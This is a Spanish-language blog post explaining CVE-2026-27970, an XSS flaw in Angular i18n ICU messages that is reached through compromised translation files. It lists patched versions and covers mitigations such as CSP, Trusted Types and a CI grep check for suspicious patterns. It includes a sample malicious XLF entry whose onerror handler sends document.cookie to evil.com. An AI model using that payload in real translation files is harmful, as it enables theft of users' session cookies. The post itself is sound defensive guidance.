← maurobernal.com.ar

CVE-2026-27970: XSS en Angular i18n – Lo que necesitás saber y cómo proteger tu app

Hace unos días me llegó una alerta de seguridad que me llamó la atención: una vulnerabilidad XSS en el pipeline de internacionalización de Angular. Siendo alguien que ha trabajado con Angular i18n en proyectos reales, quise entender bien de qué se trata antes de escribir sobre esto. Lo que encontré es interesante — no es el XSS típico que uno imagina.

¿De qué se trata el CVE-2026-27970?

La vulnerabilidad afecta el sistema de internacionalización (i18n) de Angular, específicamente en los mensajes ICU (International Components for Unicode). En pocas palabras: el HTML dentro de traducciones ICU no estaba siendo sanitizado correctamente, lo que permitía ejecutar JavaScript arbitrario.

CVSS Score: 7.6 HIGH (CVSS 4.0)

Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
CWE-79: Cross-site Scripting (XSS)

¿Cómo funciona el ataque?

El flujo de i18n en Angular tiene tres pasos bien definidos:

┌─────────────────────────────────────────────────────────┐
│                   Flujo Angular i18n                    │
│                                                         │
│  1. Extracción     2. Traducción      3. Merge          │
│  ┌──────────┐     ┌──────────────┐   ┌──────────────┐  │
│  │ ng       │───▶│  Proveedor   │──▶│ Build final  │  │
│  │ extract  │     │  externo     │   │ con XLF/XTB  │  │
│  └──────────┘     └──────────────┘   └──────────────┘  │
│                         ▲                               │
│                    Vector de ataque                     │
│                  (archivo de traducción                 │
│                      comprometido)                      │
└─────────────────────────────────────────────────────────┘

El problema está en el paso 2. Muchas empresas tercerizan las traducciones — mandan los archivos .xlf o .xtb a una agencia traductora y reciben el resultado. Si esa agencia (o alguien que comprometió sus sistemas) devuelve un archivo con contenido malicioso en un mensaje ICU, Angular lo renderizaba sin sanitizar.

Un ejemplo de mensaje ICU malicioso podría verse así:

<trans-unit id="status-message">
  <source>{count, plural, =1 {item} other {items}}</source>
  <target>{count, plural, =1 {<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">} other {items}}</target>
</trans-unit>

Al renderizar ese ICU message, Angular ejecutaba el JavaScript embebido.

Condiciones necesarias para el exploit

Este no es un XSS que cualquier usuario puede disparar. Para que funcione se necesita:

  • ✅ Comprometer el archivo de traducción (.xlf, .xtb, etc.)
  • ✅ La app usa Angular i18n
  • ✅ La app usa uno o más mensajes ICU
  • ✅ El mensaje ICU comprometido se renderiza en el cliente
  • ✅ No hay CSP estricto que bloquee JavaScript no autorizado

Desde mi experiencia, el punto más crítico es el primero. En proyectos donde trabajé, los archivos de traducción viajan por email, Slack, o plataformas como Crowdin o Phrase. Ese vector es más realista de lo que parece.

Versiones afectadas y parches

┌────────────────────┬──────────────────┬────────────────┐
│ Rama               │ Versión afectada │ Versión parcheada│
├────────────────────┼──────────────────┼────────────────┤
│ Angular 21.x       │ < 21.2.0         │ 21.2.0         │
│ Angular 21.1.x     │ < 21.1.16        │ 21.1.16        │
│ Angular 20.3.x     │ < 20.3.17        │ 20.3.17        │
│ Angular 19.2.x     │ < 19.2.19        │ 19.2.19        │
└────────────────────┴──────────────────┴────────────────┘

Cómo protegerte

1. Actualizá Angular

Lo primero y más importante. Si usás npm:

ng update @angular/core @angular/cli

Para actualizar a una versión específica parcheada:

# Para Angular 20
npm install @angular/core@20.3.17 @angular/common@20.3.17

# Para Angular 19
npm install @angular/core@19.2.19 @angular/common@19.2.19

2. Habilitá Content Security Policy (CSP)

Si no podés parchear de inmediato, un CSP estricto bloquea la ejecución de JavaScript no autorizado. En tu index.html:

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'; object-src 'none';">

O mejor aún, configuralo en tu servidor/proxy para mayor efectividad.

3. Habilitá Trusted Types

<meta http-equiv="Content-Security-Policy" 
      content="require-trusted-types-for 'script'; trusted-types angular;">

4. Revisá tus archivos de traducción

Antes de hacer el build de producción, validá que los archivos de traducción recibidos de terceros no contengan HTML o scripts embebidos. Podés agregar una validación en tu pipeline de CI:

# Ejemplo básico: buscar patrones sospechosos en archivos XLF
grep -r "onerror\|onclick\|javascript:\|<script" src/locale/*.xlf && echo "WARNING: Suspicious content found!" || echo "OK"

⚠️ Angular 18 y anteriores: sin parche oficial

Hay algo que no mencioné en la versión inicial del post y que me parece importante agregar: Angular 18 y todas las versiones anteriores no tienen parche oficial disponible. El equipo de Angular no va a backportear la corrección porque esas versiones alcanzaron su end-of-life (EOL).

Si tu aplicación corre sobre Angular 18 o anterior, tus opciones son:

  • Migrar a Angular 19+ — la opción correcta a largo plazo, aunque sé que no siempre es trivial
  • Aplicar las mitigaciones — CSP estricto + Trusted Types + validación de archivos de traducción (ver sección anterior)
  • HeroDevs Never-Ending Support — provee parches de seguridad para Angular 4 a 19 como drop-in replacement. Es una opción paga, pero válida si no podés migrar y querés estar cubierto

En mi opinión, si usás Angular 18 o anterior en producción con i18n, esto debería ser una señal de que la migración no puede seguir postergando. La deuda técnica eventualmente cobra intereses — y a veces en forma de CVE.

Mi opinión sobre este CVE

Lo que me parece interesante de este CVE es que no es el típico «el usuario ingresa datos maliciosos». Acá el vector es la cadena de suministro de traducciones — algo en lo que pocas empresas piensan cuando diseñan su threat model.

En proyectos donde usé i18n con Angular, jamás se me ocurrió auditar los archivos de traducción como potencial vector de ataque. Ahora lo haré. Y vos también deberías.

El hecho de que requiera comprometer el archivo de traducción lo hace menos probable que un XSS clásico, pero para aplicaciones que manejan credenciales o datos sensibles, el impacto potencial es alto: exfiltración de cookies, tokens de sesión, o simplemente vandalism de la UI.

Verificá tu versión ahora

ng version | grep "Angular:"

Si ves cualquier versión anterior a las parcheadas en la tabla de arriba, actualizá. No hay excusa para no hacerlo en este caso — los cambios son en el core del compilador y no deberían romper nada en tu código.

Referencias:

Comentarios

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.